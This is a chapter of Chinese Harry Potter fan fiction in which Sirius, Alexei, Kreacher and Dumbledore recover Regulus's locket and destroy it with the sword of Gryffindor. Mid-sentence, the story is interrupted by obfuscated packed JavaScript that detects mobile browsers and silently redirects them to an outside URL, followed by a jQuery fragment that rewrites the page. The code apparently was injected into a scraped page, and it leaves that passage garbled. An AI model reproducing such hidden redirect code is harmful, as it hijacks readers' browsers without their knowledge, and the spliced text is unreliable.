小天狼星双目赤红,呼吸粗重,死死盯着蜷缩在地、仍在啜泣的克利切。“挂坠盒……那个东西在哪里?!克利切,把它交出来!现在!” 他的声音因激动和痛苦而嘶哑,带着不容置疑的命令。
克利切浑身一抖,抬起泪眼模糊的脸,畏惧又带着一丝扭曲的期待:“主……主人要那个邪恶的东西?克利切去拿……克利切藏起来了……” 它挣扎着想爬起来。
“等等,小天狼星!”阿列克谢上前一步,挡在小天狼星和克利切之间,声音冷静而清晰“那件东西,既然是‘黑魔王的邪恶造物’,而且这么多年克利切用尽办法都无法摧毁,它本身可能蕴含着极其危险的黑魔法。贸然接触,甚至仅仅是持有,都可能带来不可预料的后果。我们不能在这里随意打开或检查它。”
小天狼星布满血丝的眼睛转向阿列克谢,愤怒和急于完成弟弟遗愿的冲动让他几乎听不进劝。“那是我弟弟用命换来的!我要看看那该死的——”
“我们需要邓布利多教授,”阿列克谢斩钉截铁地打断他,目光毫不退让,“立刻。只有他可能知道该如何安全地处理这类……极端邪恶、可能具有独特性质的黑暗造物。”他刻意在“这类”和“独特性质”上加了重音,希望小天狼星能联想到哈利二年级时那本同样无法用常规手段摧毁的、充满诡异生命力的日记。
小天狼星猛地吸了一口气,胸膛剧烈起伏。他看着阿列克谢坚定的灰蓝色眼睛,又看向地上悲痛欲绝的克利切,最后目光落在挂毯上雷古勒斯紧闭双眼的肖像上。狂乱的怒火渐渐被一种更深沉、更无力的悲伤和理智所取代。他闭了闭眼,再睁开时,眼中多了一丝清明。
“……你说得对。”他沙哑地承认,转向克利切,命令的语气稍微缓和,但仍带着力量:“克利切,去把挂坠盒拿来,但不要打开,就放在它原来的容器里。然后……在这里等着。”
克利切呜咽着,踉跄跑开,消失在杂物堆深处。
小天狼星走到稍微开阔一点的走廊中间,抽出魔杖。他闭上眼睛,眉头紧锁,似乎在艰难地搜寻着某个足够明亮温暖的记忆。几秒钟后,银色的光芒从他杖尖喷涌而出,凝聚成一只巨大、瘦削但精神抖擞的银灰色大狗。守护神亲昵地蹭了蹭他的手心。小天狼星低声快速地对它说:“去霍格沃茨,找阿不思·邓布利多。告诉他,是阿列克谢和我一起发现了关于雷古勒斯的重要事情,还有一件与黑魔王有关的、极其危险的黑暗造物需要他立刻处理。情况紧急,在格里莫广场12号。”银色的大狗点了点头,转身化作一道流光,无声地穿透墙壁消失了。
等待的时间并不长,但每一秒都仿佛被拉长,充满了压抑的寂静和克利切压抑的抽泣声。小天狼星靠在墙上,眼神空洞地望着天花板。阿列克谢默默站在一旁,大脑飞速运转。雷古勒斯·布莱克……一个斯莱特林,一个食死徒,发现了伏地魔最深的秘密,设计了一场孤独而决绝的背叛与牺牲。这份在绝境中展现出的清醒、勇气与智慧,令人震撼。阿列克谢心中对这个素未谋面、却以如此决绝而智慧的方式对抗黑暗的少年,升起一股强烈的震撼与探究欲。雷古勒斯·布莱克……这个名字和其背后的故事,像一道深刻的刻痕,留在了他的意识里。
壁炉里突然燃起明亮的绿色火焰,打破了沉寂。阿不思·邓布利多敏捷地从飞路网中跨出,拍了拍长袍上并不存在的灰尘。他看起来确实风尘仆仆,半月形眼镜后的蓝色眼睛带着惯常的睿智,但此刻也有一丝凝重和关切。令人意外的是,他手里还拿着那顶破旧、打着补丁的分院帽。
“小天狼星,阿列克谢,”邓布利多的目光迅速扫过两人,又落到一边捧着一个天鹅绒小袋、浑身发抖的克利切身上,“我收到了守护神的传讯。看来我们面对着一个沉重而关键的发现。”
小天狼星急切地迎上前,语速很快地将克利切叙述的事情重复了一遍,声音因激动而断续:“……雷古勒斯……他发现了……那个人的邪恶造物……他掉包了……他自己喝了药水……被拖进湖里……为了这个!” 他指向克利切手中的袋子。
邓布利多静静地听着,表情严肃。当小天狼星提到“邪恶造物”和“无法摧毁”时,他的目光与阿列克谢短暂交汇。那一瞬间,阿列克谢看到老人眼中闪过一丝了然和赞许——邓布利多完全理解了他未说出口的暗示,联想到了日记本,并明白阿列克谢之前关于“不止一个”黑暗秘密的提醒,如今得到了一个血淋淋的证实。
“我明白了。”邓布利多的声音低沉而充满力量,“一个勇敢而令人心碎的故事。雷古勒斯·布莱克展现的勇气,超越了许多自诩光明的人。”他走上前,从克利切手中接过那个天鹅绒袋子,但没有立刻打开。他苍老的手指似乎能感受到袋中物品散发出的冰冷、恶毒且异常顽固的魔力波动,眉头微微蹙起。
然后,邓布利多做出了一个令人费解的举动——他将另一只手里一直拿着的分院帽,递给了小天狼星。
小天狼星愣住了,困惑地接过那顶破旧的帽子:“教授?这是……?”
邓布利多看着他,目光温和而深邃:“小天狼星,你是一个格兰芬多。格兰芬多的学生,在真正需要的时候,有时会发现这顶帽子能提供他们最需要的东西——不仅仅是建议。”他的话语中带着古老的、谜语般的暗示。
小天狼星盯着帽子,嘴唇无声地动了动,好像在回忆什么遥远的、几乎被遗忘的传说。突然,他倒抽一口凉气,眼睛猛地睁大——“那个传说……是真的?”他的声音充满了难以置信。
在邓布利多鼓励的注视下,小天狼星迟疑地将手伸进分院帽宽大的帽檐里。他的指尖先是触碰到熟悉的呢绒内衬,然后,碰到了某种冰冷、坚硬、带着皮革包裹的长条物体。他睁大眼睛,用力一抽——
银光闪耀!
一柄镶嵌着璀璨红宝石的华丽宝剑被他从看似不可能容纳它的帽子里抽了出来!剑身闪耀着冷冽而纯净的光芒,仿佛有自己的生命。格兰芬多宝剑!
小天狼星震惊地看着手中的传奇宝物,又看向邓布利多。老人脸上露出一丝欣慰而疲惫的微笑:“我想,由你来完成你弟弟未竟的愿望,是再合适不过的。这把剑,由妖精铸造,能吸收强化它的物质……据说也包括某些极为黑暗的魔法造物的核心。”
邓布利多小心地打开天鹅绒袋,取出那个斯莱特林挂坠盒。即使隔着一段距离,阿列克谢也能感觉到那股令人心悸的黑暗与寒意。挂坠盒上的蛇形“S”标记仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233639|197634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在蠕动。
“用剑尖,刺穿它,小天狼星。”邓布利多平静地指示,将挂坠盒放在走廊一块相对平坦的地面上。
小天狼星双手紧握宝剑,深吸一口气,眼神变得无比坚定,仿佛要将所有的悲痛、愤怒与对弟弟的承诺都倾注在这一击上。他高高举起格兰芬多宝剑,银光在空中划出一道决绝的弧线,带着为弟弟复仇、完成其遗志的熊熊怒火与格兰芬多的无畏勇气,狠狠地刺向地上的挂坠盒!
“为了雷古勒斯——!”
一声清脆却令人牙酸的金属撞击声响起,紧接着是仿佛无数人尖啸的刺耳噪音!挂坠盒在剑尖下剧烈震动,黑烟从被刺破的地方喷涌而出,凝聚成模糊、扭曲的恐怖面孔,发出无声的、充满恶毒的哀嚎。但格兰芬多宝剑上的红宝石光芒大盛,银色的剑身仿佛变得滚烫,那些黑烟和尖啸如同遇到阳光的冰雪般迅速消融、蒸发,最终化为虚无。
几秒钟后,一切归于寂静。挂坠盒上留下了一个清晰的穿透孔洞,原本萦绕其上的邪恶气息彻底消失了,变成了一件只是有些破损的古老金器。
小天狼星喘息着,松开了剑柄,任由宝剑哐当一声掉在地上。他踉跄一步,仿佛用尽了所有力气,只是死死盯着那个被摧毁的挂坠盒,泪水终于无声地滑落。
邓布利多走上前,弯下腰,用一块准备好的布仔细地将破损的挂坠盒包裹起来。“我需要带回霍格沃茨进行一些必要的检测,以确保其……被彻底净化,并研究其构造。”他谨慎地说,没有提及“魂器”这个词,但阿列克谢明白,邓布利多需要分析这个被摧毁的样本,以验证其性质并寻找对抗其他类似物品的线索。
这时,小天狼星抬起布满泪痕的脸,声音疲惫而嘶哑,却带着前所未有的清晰决心:“教授……雷古勒斯……他的身体……还在那个山洞里。我想……我想带他回家。安葬在家族的墓地,或者……一个更安静、更好的地方。他……他不该留在那里。” 他的语气近乎哀求,这是作为兄长,能为弟弟做的最后一件事。
邓布利多的眼神充满了同情和理解。他沉默了片刻,缓缓点头:“这是一个艰难但合理的请求,小天狼星。那个地方……非常危险。我们需要详细的计划,合适的人选,以及确保不会打草惊蛇。这件事,我们从长计议,等世界杯之后,好吗?我向你保证,我们会制定一个方案。”
小天狼星重重地点了点头,似乎邓布利多的承诺给了他一丝支撑。他弯腰捡起格兰芬多宝剑,递还给邓布利多。老人接过宝剑,它再次神奇地消失在分院帽中。
“今天发生的事,”邓布利多的目光扫过小天狼星、阿列克谢,最后落在似乎平静了一些、但眼神依旧空洞的克利切身上,“至关重要,也极度敏感。在得到进一步指示前,请务必保密,尤其是对宅邸之外的人。” 他特意看了阿列克谢一眼,其中包含着信任与更深的期许。“你们做得很好。现在,试着去呼吸一些不一样的空气吧。魁地奇世界杯,有时也是一种……必要的调剂。”
说完,邓布利多再次向壁炉走去,绿色的火焰吞没了他。
走廊里只剩下小天狼星沉重的呼吸声、克利切细微的呜咽,以及那挥之不去的、关于牺牲、勇气与未尽之事的沉重气息。